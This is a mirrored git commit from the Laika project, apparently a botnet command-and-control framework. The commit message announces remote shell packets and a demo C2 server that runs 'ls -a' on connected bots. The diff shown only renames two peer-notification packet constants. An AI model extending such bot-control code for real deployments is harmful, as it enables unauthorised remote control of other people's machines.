1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-10-27 16:50:06 +00:00

Added LAIKAPKT_SHELL_*, fixed variadic packets

- added bot/shell.[ch]
- simple demo cnc which runs 'ls -a' on the connect peer
This commit is contained in:
2022-02-21 17:25:49 -06:00
parent 02c3176bc4
commit 5c31fb861b
10 changed files with 322 additions and 42 deletions

View File

@@ -22,7 +22,7 @@ bool sendPanelPeerIter(struct sLaika_socket *sock, void *uData) {
}
void laikaC_sendNewPeer(struct sLaika_peer *panel, struct sLaika_peer *peer) {
laikaS_startOutPacket(panel, LAIKAPKT_AUTHENTICATED_ADD_PEER);
laikaS_startOutPacket(panel, LAIKAPKT_AUTHENTICATED_ADD_PEER_RES);
/* write the peer's info */
laikaS_write(&panel->sock, peer->peerPub, sizeof(peer->peerPub));
@@ -34,7 +34,7 @@ void laikaC_sendNewPeer(struct sLaika_peer *panel, struct sLaika_peer *peer) {
}
void laikaC_sendRmvPeer(struct sLaika_peer *panel, struct sLaika_peer *peer) {
laikaS_startOutPacket(panel, LAIKAPKT_AUTHENTICATED_RMV_PEER);
laikaS_startOutPacket(panel, LAIKAPKT_AUTHENTICATED_RMV_PEER_RES);
/* write the peer's pubkey */
laikaS_write(&panel->sock, peer->peerPub, sizeof(peer->peerPub));